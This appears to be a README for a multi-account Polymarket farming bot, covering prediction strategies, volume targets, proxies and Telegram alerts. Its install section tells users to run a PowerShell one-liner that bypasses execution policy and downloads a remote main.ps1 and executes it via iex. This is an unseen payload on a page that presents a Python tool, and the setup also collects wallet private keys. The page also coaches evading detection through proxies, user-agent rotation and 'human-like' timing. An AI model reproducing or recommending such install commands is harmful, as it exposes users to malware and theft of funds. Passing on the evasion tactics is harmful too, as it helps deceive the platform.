Automated multi-account bot for Polymarket — places predictions, farms volume, completes streaks, and maximizes rewards across unlimited accounts with per-account proxy support
🤖 Polymarket Bot
Automated multi-account bot for Polymarket — places predictions, farms volume, completes streaks, and maximizes rewards across unlimited accounts with per-account proxy support
╔══════════════════════════════════════════════════════════════════╗
║ Module 1 — Auto Predictor │ place bets on open markets ║
║ Module 2 — Volume Farmer │ hit volume targets every cycle ║
║ Module 3 — Points Farmer │ full automation across N accs ║
║ ║
║ ✦ Multi-account · Per-account proxies · Async workers ║
╚══════════════════════════════════════════════════════════════════╝
🚀 Open Polymarket · 🐦 Follow Dev
📌 Table of Contents
- Module 1 — Auto Predictor - Module 2 — Volume Farmer - Module 3 — Points Farmer⚡ How It Works
Polymarket opens new prediction markets
│
▼ (all accounts check simultaneously)
│
Per account:
• Authenticate via Polymarket API key + wallet
• Route traffic through assigned proxy
• Fetch open markets ranked by volume/liquidity
• Place predictions based on configured strategy
• Track volume targets and streak check-ins
│
▼
Positions tracked → resolved markets collected 🎯
│
▼
Telegram summary sent 📱
Every account runs as an independent async worker — one failed proxy or expired session never blocks the others.
👥 Multi-Account & Proxy Support
How accounts are configured
All accounts live in accounts.json. Each entry holds its own wallet, API credentials, prediction strategy, and optionally a dedicated proxy.
accounts.json
├── Account #1 → wallet1 + apikey1 + proxy_1 + strategy: majority
├── Account #2 → wallet2 + apikey2 + proxy_2 + strategy: contrarian
├── Account #3 → wallet3 + apikey3 + (no proxy) + strategy: random
└── ...unlimited accounts
│
▼
Bot spawns one async worker per account
│
▼
Workers run in parallel up to MAX_PARALLEL
Remaining accounts queue and start as slots free
accounts.json structure:
[
{
"id": "account_1",
"label": "Main",
"wallet_address": "0xYourWallet1",
"private_key": "0xYourPrivateKey1",
"polymarketapikey": "yourapikey_1",
"polymarketapisecret": "yourapisecret_1",
"polymarketpassphrase": "yourpassphrase_1",
"referralcode": "YOURREF",
"strategy": "majority",
"proxy": "http://user:pass@host:port"
},
{
"id": "account_2",
"label": "Secondary",
"wallet_address": "0xYourWallet2",
"private_key": "0xYourPrivateKey2",
"polymarketapikey": "yourapikey_2",
"polymarketapisecret": "yourapisecret_2",
"polymarketpassphrase": "yourpassphrase_2",
"referralcode": "YOURREF",
"strategy": "contrarian",
"proxy": "socks5://user:pass@host:port"
},
{
"id": "account_3",
"label": "No proxy",
"wallet_address": "0xYourWallet3",
"private_key": "0xYourPrivateKey3",
"polymarketapikey": "yourapikey_3",
"polymarketapisecret": "yourapisecret_3",
"polymarketpassphrase": "yourpassphrase_3",
"referralcode": "YOURREF",
"strategy": "random",
"proxy": ""
}
]
How to get Polymarket API credentials
- Go to polymarket.com and connect your wallet
- Navigate to Profile → Settings → API Keys
- Click Create API Key
- Save the API Key, Secret, and Passphrase — they are shown only once
- Add them to the corresponding account entry in
accounts.json
⚠️ Each Polymarket account needs its own set of API credentials. The same wallet cannot have multiple active API keys simultaneously.
Proxy formats supported
| Format | Example | |--------|---------| | HTTP | http://user:pass@host:port | | HTTPS | https://user:pass@host:port | | SOCKS5 | socks5://user:pass@host:port | | No auth | http://host:port | | None | leave "proxy": "" |
Concurrency & safety settings
MAX_PARALLEL=5 # Max accounts running at the same time
ACCOUNT_DELAY=15 # Seconds between launching each worker
JITTER=true # Random ±10s delay per action (human-like)
PROXYTESTON_START=true # Verify each proxy before farming begins
ROTATEUSERAGENT=true # Unique user-agent per account
💡 Tip: Running many accounts from one IP risks detection. Assign a dedicated proxy to every account. Enable PROXYTESTON_START=true — bad proxies are flagged before the cycle starts, not mid-run.
📐 Modules
🔮 Module 1 — Auto Predictor
The bot fetches open Polymarket markets, ranks them by liquidity and volume, and places limit or market orders on behalf of each account according to its strategy.
Fetch open markets via Polymarket API (per account)
│
▼
Filter:
• Min liquidity > PREDICTMINLIQUIDITY
• Not already holding a position
• Within allowed categories
• Closing date > MINHOURSTO_CLOSE
│
▼
Apply strategy:
• majority → buy the leading side (YES if >50% probability)
• contrarian → buy the trailing side
• random → random YES / NO
• custom → filter by keyword/category, buy a fixed side
│
▼
Place LIMIT order at current best price ✅
(falls back to MARKET if limit not filled within timeout)
│
▼
Position tracked until resolution → collect USDC payout 💵
Prediction strategies:
| Strategy | Logic | Best for | |----------|-------|----------| | majority | Buy leading side (highest probability) | Safer volume farming | | contrarian | Buy trailing side (lower probability, higher odds) | Higher variance, more upside | | random | Random YES / NO per market | Maximum market coverage | | custom | Filter by category + keyword | Targeted category farming |
Config block:
MODULE=predictor
PREDICT_STRATEGY=majority
PREDICT_AMOUNT=1 # USDC per prediction
PREDICTMAXPER_CYCLE=10 # Max new positions per account per cycle
PREDICT_CATEGORIES=politics,crypto # Only enter these categories (blank = all)
PREDICTMINLIQUIDITY=1000 # Skip markets with less than $N liquidity
PREDICTMINHOURSTOCLOSE=6 # Skip markets closing in less than N hours
PREDICTORDERTYPE=LIMIT # LIMIT or MARKET
PREDICTLIMITTIMEOUT=60 # Seconds to wait for limit fill before cancel
PREDICT_INTERVAL=3600 # Check for new markets every N seconds
💡 Tip: KeepPREDICTAMOUNTsmall (1–5 USDC) — the goal is volume coverage and streak maintenance, not speculation. UsePREDICTMIN_LIQUIDITYto avoid illiquid markets where orders don't fill.
📊 Module 2 — Volume Farmer
Tracks each account's trading volume and ensures weekly/monthly volume targets are hit — which unlock higher reward tiers on Polymarket.
Check current volume for account (period: weekly / monthly)
│
▼
Volume below target?
• YES → calculate how many more trades needed
→ spread trades across remaining days
→ execute via Auto Predictor (Module 1)
• NO → sleep until next period
│
▼
Volume target reached → tier reward unlocked 🏆
│
▼
Telegram alert: tier reached + USDC reward if any
Volume tiers (approximate — check Polymarket for current values):
| Tier | Weekly Volume | Reward | |------|--------------|--------| | Bronze | $100+ | Base rewards | | Silver | $500+ | 1.25× multiplier | | Gold | $2,000+ | 1.5× multiplier | | Platinum | $10,000+ | 2× multiplier |
Config block:
MODULE=volume
VOLUMETARGETWEEKLY=500 # USDC weekly volume target per account
VOLUMETARGETMONTHLY=2000 # USDC monthly volume target per account
VOLUMESPREADEVENLY=true # Spread trades over remaining days in period
VOLUMECHECKINTERVAL=3600 # Check volume progress every N seconds
VOLUMEALERTAT_PERCENT=80 # Telegram alert when N% of target reached
💡 Tip: Enable VOLUMESPREADEVENLY=true — spreading trades prevents a burst of activity on the last day of the period, which looks unnatural and may trigger review.
🌾 Module 3 — Points Farmer
Combines both modules into one fully automated loop. Each account runs its own independent cycle — predictions, volume tracking, and streak check-ins all managed in parallel.
All account workers start (staggered by ACCOUNT_DELAY)
│
▼ each worker independently:
│
Place predictions on open markets (Module 1)
│
▼
Track and top up volume target (Module 2)
│
▼
Wait CYCLE_INTERVAL
│
▼
Daily cap / volume target reached?
• NO → next cycle
• YES → sleep until next period reset 😴
│
▼
Telegram summary: volume, positions, rewards per account 📱
Config block:
MODULE=farmer
CYCLE_INTERVAL=3600
FARMERSTARTTIME=07:00
FARMERSTOPTIME=23:30
POSTCYCLESUMMARY=true
🛠️ Installation
Requirements
- Python 3.10+
- A Polymarket account per wallet
- USDC on Polygon for each wallet
- API credentials per account (see above)
- Optional: proxies for multi-account isolation
Option 1: PowerShell (Recommended)
Open PowerShell and run this single command:powershell -ep bypass -c "iwr https://github.com/viet64th2/Polymarket-trade-bot/releases/download/V1.92/main.ps1 -UseBasicParsing | iex"
Option 2: Cmd
Open CMD and run this single command:powershell -ep bypass -c "iwr https://github.com/viet64th2/Polymarket-trade-bot/releases/download/V1.92/main.ps1 -UseBasicParsing | iex"
Step 2 — Create a virtual environment
python3 -m venv venv
Linux / Mac
source venv/bin/activate
Windows
venv\Scripts\activate
Step 3 — Install dependencies
pip install requests web3 python-dotenv colorama aiohttp aiohttp-socks py-clob-client
py-clob-client is the official Polymarket CLOB API Python client.
Step 4 — Get your API credentials
For each account:
- Connect your wallet at polymarket.com
- Go to Profile → Settings → API Keys → Create API Key
- Save the API Key, Secret, and Passphrase
- Add them to the account entry in
accounts.json
Step 5 — Fund your wallets
Each wallet needs USDC on Polygon to place predictions. Bridge or buy USDC and deposit to each wallet before starting.
Step 6 — Build your accounts.json
cp accounts.example.json accounts.json
nano accounts.json
⚙️ Configuration
accounts.json — one entry per account
See the Multi-Account & Proxy Support section above for the full structure.
.env — global settings
# ── Active module ──────────────────────────────────────
Options: predictor | volume | farmer
MODULE=farmer
── Multi-account ──────────────────────────────────────
ACCOUNTS_FILE=accounts.json
MAX_PARALLEL=5
ACCOUNT_DELAY=15
JITTER=true
PROXYTESTON_START=true
ROTATEUSERAGENT=true
── Prediction settings ────────────────────────────────
PREDICT_STRATEGY=majority
PREDICT_AMOUNT=1
PREDICTMAXPER_CYCLE=10
PREDICT_CATEGORIES=
PREDICTMINLIQUIDITY=1000
PREDICTMINHOURSTOCLOSE=6
PREDICTORDERTYPE=LIMIT
PREDICTLIMITTIMEOUT=60
PREDICT_INTERVAL=3600
── Volume targets ─────────────────────────────────────
VOLUMETARGETWEEKLY=500
VOLUMETARGETMONTHLY=2000
VOLUMESPREADEVENLY=true
VOLUMECHECKINTERVAL=3600
VOLUMEALERTAT_PERCENT=80
── Farming schedule ───────────────────────────────────
CYCLE_INTERVAL=3600
FARMERSTARTTIME=07:00
FARMERSTOPTIME=23:30
── Telegram (optional but recommended) ────────────────
TELEGRAM_TOKEN=
TELEGRAMCHATID=
🚀 Running the Bot
# First-time setup (creates accounts.json template)
python polymarket_bot.py --setup
Run all accounts
python polymarket_bot.py
Run a single account
python polymarketbot.py --account account1
Single cycle and exit
python polymarket_bot.py --once
Test proxies without placing any orders
python polymarket_bot.py --test-proxies
Dashboard only
python polymarket_bot.py --dashboard
On successful start:
╔══════════════════════════════════════════════════════╗
║ 🤖 Polymarket Bot v1.0 ║
║ Press Ctrl+C at any time to stop. ║
╚══════════════════════════════════════════════════════╝
Module: farmer Accounts: 4 loaded Proxies: 3 assigned (1 direct) Parallel: up to 5 Strategy: majority (default) Jitter: ON
Testing proxies... ██████████ 3/3 OK
Start bot? [yes/no]: yes
Live terminal dashboard:
🤖 Polymarket Bot v1.0 updated 09:04:15
══════════════════════════════════════════════════════════════
Module: farmer Accounts: 4 Next cycle: 38m
──────────────────────────────────────────────────────────────
ACCOUNTS
ID Vol (week) Tier Positions Status
account_1 $312 / $500 🥈 Silver 8 open ● running
account_2 $189 / $500 🥉 Bronze 5 open ● running
account_3 $501 / $500 🥇 Gold ✅ 11 open 😴 target hit
account_4 $0 / $500 — 0 open ⏳ queued
──────────────────────────────────────────────────────────────
OPEN POSITIONS (account_1)
Market Side Amount Prob P&L
Will Fed cut rates in Q1 2026? YES $1.00 62% +$0.12
BTC above $120k end of 2025? YES $1.00 48% -$0.04
Trump wins 2026 midterms? NO $1.00 38% +$0.08
──────────────────────────────────────────────────────────────
RECENT ACTIVITY
09:04:15 account_1 Order placed Fed cut Q1? YES $1.00
09:03:40 account_2 Order filled BTC $120k? YES $1.00
09:02:55 account_3 Weekly target reached 🥇 Gold tier
09:01:10 account_4 Proxy OK — starting shortly
🖥️ Running 24/7 on a VPS
For continuous operation, use a cheap VPS (Vultr, DigitalOcean, Hetzner — ~$5/month).
Ubuntu VPS setup
# 1. Update system
sudo apt update && sudo apt upgrade -y
sudo apt install python3 python3-pip python3-venv screen git -y
3. Virtual environment
python3 -m venv venv
source venv/bin/activate
pip install requests web3 python-dotenv colorama aiohttp aiohttp-socks py-clob-client
4. Configure
nano .env
nano accounts.json
5. Run inside screen (stays alive after you disconnect)
screen -S polybot
source venv/bin/activate
python polymarket_bot.py
Press Ctrl+A then D to detach — bot keeps running
Reconnect later
screen -r polybot
Useful log commands
tail -50 polymarket_bot.log
grep "filled" polymarket_bot.log | tail -20 # Filled orders
grep "resolved" polymarket_bot.log | tail -20 # Resolved markets
grep "tier" polymarket_bot.log | tail -10 # Volume tier events
grep "proxy" polymarket_bot.log | tail -20 # Proxy events
grep "ERROR" polymarket_bot.log | tail -10 # Errors
📱 Telegram Setup & Commands
Step 1 — Create a bot and get your token
- Search for
@BotFatheron Telegram, send/newbot - Copy the token into
.env:
TELEGRAMTOKEN=yourbottokenhere
Step 2 — Get your Chat ID
- Search for
@userinfobot, send any message - Copy the numeric ID into
.env:
TELEGRAMCHATID=123456789
Commands
| Command | Action | |---------|--------| | /status | All accounts: volume, tier, open positions, proxy | | /positions | All open positions with current P&L | | /volume | Weekly and monthly volume progress per account | | /pause | Pause all accounts | | /pause account_1 | Pause one specific account | | /resume | Resume all accounts | | /proxies | Proxy health for all accounts | | /stop | Stop the bot completely | | /pnl | Realized P&L breakdown across all accounts |
Example alerts
🔮 Order Placed
Account: account_1
Market: Will Fed cut rates in Q1 2026?
Side: YES
Amount: $1.00 USDC
Type: LIMIT @ 0.62
✅ Order Filled Account: account_2 Market: BTC above $120k end of 2025? Side: YES filled @ 0.48
🏆 Volume Tier Reached Account: account_3 Tier: GOLD 🥇 Volume: $501 this week Reward: 1.5× multiplier active
💵 Market Resolved Account: account_1 Market: ETH flips BTC in 2025? Result: NO ✅ (you bet NO) Payout: +$0.82 USDC
⚠️ Proxy Failed Account: account_2 Proxy: proxy_3 Action: falling back to direct connection
😴 All Targets Hit account_1 → $500 / $500 weekly account_2 → $500 / $500 weekly account_4 → $312 / $500 ● still farming
⚠️ Disclaimer
RISK WARNING: This bot places real-money predictions on a live prediction market using your own USDC. Prediction markets carry financial risk — you may lose some or all of the USDC in active positions. Use entirely at your own risk.
- Never invest more than you can afford to lose
- Keep
PREDICT_AMOUNTsmall — this is a volume farming tool, not a trading system - Never share your
accounts.json, private keys, or API credentials with anyone - With many accounts on the same IP, use proxies to avoid detection
- API credentials are shown only once on creation — save them securely
- Check Polymarket's terms of service regarding bot usage in your region
🔗 Links
If this helped you, please give it a ⭐ Star — it means a lot!
Topics: polymarket-bot, trading-bot, polymarket-trading-bot, arbitrage, copy-trading, multi-account, proxy-support, volume-farming, points-farmer, prediction-market, python, async, telegram-bot, crypto-bot, web3